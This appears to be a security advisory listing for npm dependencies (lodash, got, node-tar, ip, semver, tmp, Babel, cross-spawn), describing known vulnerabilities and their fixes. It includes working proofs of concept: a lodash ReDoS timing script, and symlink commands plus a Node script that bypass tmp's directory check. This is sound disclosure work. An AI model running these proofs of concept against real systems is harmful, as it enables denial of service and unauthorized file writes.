All the vulnerabilities related to the version 2.0.1 of the package
Got allows a redirect to a UNIX socket
The got package before 11.8.5 and 12.1.0 for Node.js allows a redirect to a UNIX socket.
Regular Expression Denial of Service (ReDoS) in lodash
All versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber
, trim
and trimEnd
functions.
Steps to reproduce (provided by reporter Liyuan Chen):
var lo = require('lodash');
function build_blank(n) {
var ret = "1"
for (var i = 0; i < n; i++) {
ret += " "
}
return ret + "1";
}
var s = build_blank(50000) var time0 = Date.now();
lo.trim(s)
var time_cost0 = Date.now() - time0;
console.log("time_cost0: " + time_cost0);
var time1 = Date.now();
lo.toNumber(s) var time_cost1 = Date.now() - time1;
console.log("time_cost1: " + time_cost1);
var time2 = Date.now();
lo.trimEnd(s);
var time_cost2 = Date.now() - time2;
console.log("time_cost2: " + time_cost2);
Command Injection in lodash
lodash
versions prior to 4.17.21 are vulnerable to Command Injection via the template function.
Prototype Pollution in lodash
Versions of lodash prior to 4.17.19 are vulnerable to Prototype Pollution. The functions pick
, set
, setWith
, update
, updateWith
, and zipObjectDeep
allow a malicious user to modify the prototype of Object if the property identifiers are user-supplied. Being affected by this issue requires manipulating objects based on user-provided property values or arrays.
This vulnerability causes the addition or modification of an existing property that will exist on all objects and may lead to Denial of Service or Code Execution under specific circumstances.
Denial of service while parsing a tar file due to lack of folders count validation
During some analysis today on npm's node-tar
package I came across the folder creation process, Basicly if you provide node-tar with a path like this ./a/b/c/foo.txt
it would create every folder and sub-folder here a, b and c until it reaches the last folder to create foo.txt
, In-this case I noticed that there's no validation at all on the amount of folders being created, that said we're actually able to CPU and memory consume the system running node-tar and even crash the nodejs client within few seconds of running it using a path with too many sub-folders inside
You can reproduce this issue by downloading the tar file I provided in the resources and using node-tar to extract it, you should get the same behavior as the video
Here's a video show-casing the exploit:
Denial of service by crashing the nodejs client when attempting to parse a tar archive, make it run out of heap memory and consuming server CPU and memory resources
This report was originally reported to GitHub bug bounty program, they asked me to report it to you a month ago
ip SSRF improper categorization in isPublic
The ip package through 2.0.1 for Node.js might allow SSRF because some IP addresses (such as 127.1, 01200034567, 012.1.2.3, 000:0:0000::01, and ::fFFf:127.0.0.1) are improperly categorized as globally routable via isPublic. NOTE: this issue exists because of an incomplete fix for CVE-2023-42282.
NPM IP package incorrectly identifies some private IP addresses as public
The isPublic()
function in the NPM package ip
doesn't correctly identify certain private IP addresses in uncommon formats such as 0x7F.1
as private. Instead, it reports them as public by returning true
. This can lead to security issues such as Server-Side Request Forgery (SSRF) if isPublic()
is used to protect sensitive code paths when passed user input. Versions 1.1.9 and 2.0.1 fix the issue.
semver vulnerable to Regular Expression Denial of Service
Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.
tmp allows arbitrary temporary file / directory write via symbolic link dir
parameter
tmp@0.2.3
is vulnerable to an Arbitrary temporary file / directory write via symbolic link dir
parameter.
According to the documentation there are some conditions that must be held:
// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50
Other breaking changes, i.e.
- template must be relative to tmpdir
- name must be relative to tmpdir
- dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks
are still in place.
In order to override the system's tmpdir, you will have to use the newly
introduced tmpdir option.
// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375
* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.
absolute paths are fine as long as they point to a location under the system's default temporary directory.
Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access,
as tmp will not check the availability of the path, nor will it establish the requested path for you.
Related issue: https://github.com/raszi/node-tmp/issues/207.
The issue occurs because _resolvePath
does not properly handle symbolic link when resolving paths:
// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579
function _resolvePath(name, tmpDir) {
if (name.startsWith(tmpDir)) {
return path.resolve(name);
} else {
return path.resolve(path.join(tmpDir, name));
}
}
If the dir
parameter points to a symlink that resolves to a folder outside the tmpDir
, it's possible to bypass the _assertIsRelative
check used in _assertAndSanitizeOptions
:
// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609
function _assertIsRelative(name, option, tmpDir) {
if (option === 'name') {
// assert that name is not absolute and does not contain a path
if (path.isAbsolute(name))
throw new Error(`${option} option must not contain an absolute path, found "${name}".`);
// must not fail on valid .<name> or ..<name> or similar such constructs
let basename = path.basename(name);
if (basename === '..' || basename === '.' || basename !== name)
throw new Error(`${option} option must not contain a path, found "${name}".`);
}
else { // if (option === 'dir' || option === 'template') {
// assert that dir or template are relative to tmpDir
if (path.isAbsolute(name) && !name.startsWith(tmpDir)) {
throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`);
}
let resolvedPath = _resolvePath(name, tmpDir); //<---
if (!resolvedPath.startsWith(tmpDir))
throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`);
}
}
The following PoC demonstrates how writing a tmp file on a folder outside the tmpDir
is possible.
Tested on a Linux machine.
tmpDir
that points to a directory outside of itmkdir $HOME/mydir1
ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir
ls -lha $HOME/mydir1 | grep "tmp-"
node main.js
File: /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf
test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'
test 2: dir option must be relative to "/tmp", found "/foo".
test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".
$HOME/mydir1
(outside the tmpDir
):ls -lha $HOME/mydir1 | grep "tmp-"
-rw------- 1 user user 0 Apr X XX:XX tmp-[random-id]
main.js
// npm i tmp@0.2.3
const tmp = require('tmp');
const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);
try {
tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
console.log('test 1:', err.message)
}
try {
tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
console.log('test 2:', err.message)
}
try {
const fs = require('node:fs');
const resolved = fs.realpathSync('/tmp/evil-dir');
tmp.fileSync({ 'dir': resolved});
} catch (err) {
console.log('test 3:', err.message)
}
A Potential fix could be to call fs.realpathSync
(or similar) that resolves also symbolic links.
function _resolvePath(name, tmpDir) {
let resolvedPath;
if (name.startsWith(tmpDir)) {
resolvedPath = path.resolve(name);
} else {
resolvedPath = path.resolve(path.join(tmpDir, name));
}
return fs.realpathSync(resolvedPath);
}
Arbitrary temporary file / directory write via symlink
Babel has inefficient RegExp complexity in generated code with .replace when transpiling named capturing groups
When using Babel to compile regular expression named capturing groups, Babel will generate a polyfill for the .replace
method that has quadratic complexity on some specific replacement pattern strings (i.e. the second argument passed to .replace
).
Your generated code is vulnerable if all the following conditions are true:
.replace
method on a regular expression that contains named capturing groups.replace
If you are using @babel/preset-env
with the targets
option, the transform that injects the vulnerable code is automatically enabled if:
You can verify what transforms @babel/preset-env
is using by enabling the debug
option.
This problem has been fixed in @babel/helpers
and @babel/runtime
7.26.10 and 8.0.0-alpha.17, please upgrade. It's likely that you do not directly depend on @babel/helpers
, and instead you depend on @babel/core
(which itself depends on @babel/helpers
). Upgrading to @babel/core
7.26.10 is not required, but it guarantees that you are on a new enough @babel/helpers
version.
Please note that just updating your Babel dependencies is not enough: you will also need to re-compile your code.
If you are passing user-provided strings as the second argument of .replace
on regular expressions that contain named capturing groups, validate the input and make sure it does not contain the substring $<
if it's then not followed by >
(possibly with other characters in between).
This vulnerability was reported and fixed in https://github.com/babel/babel/pull/17173.
Regular Expression Denial of Service (ReDoS) in cross-spawn
Versions of the package cross-spawn before 7.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.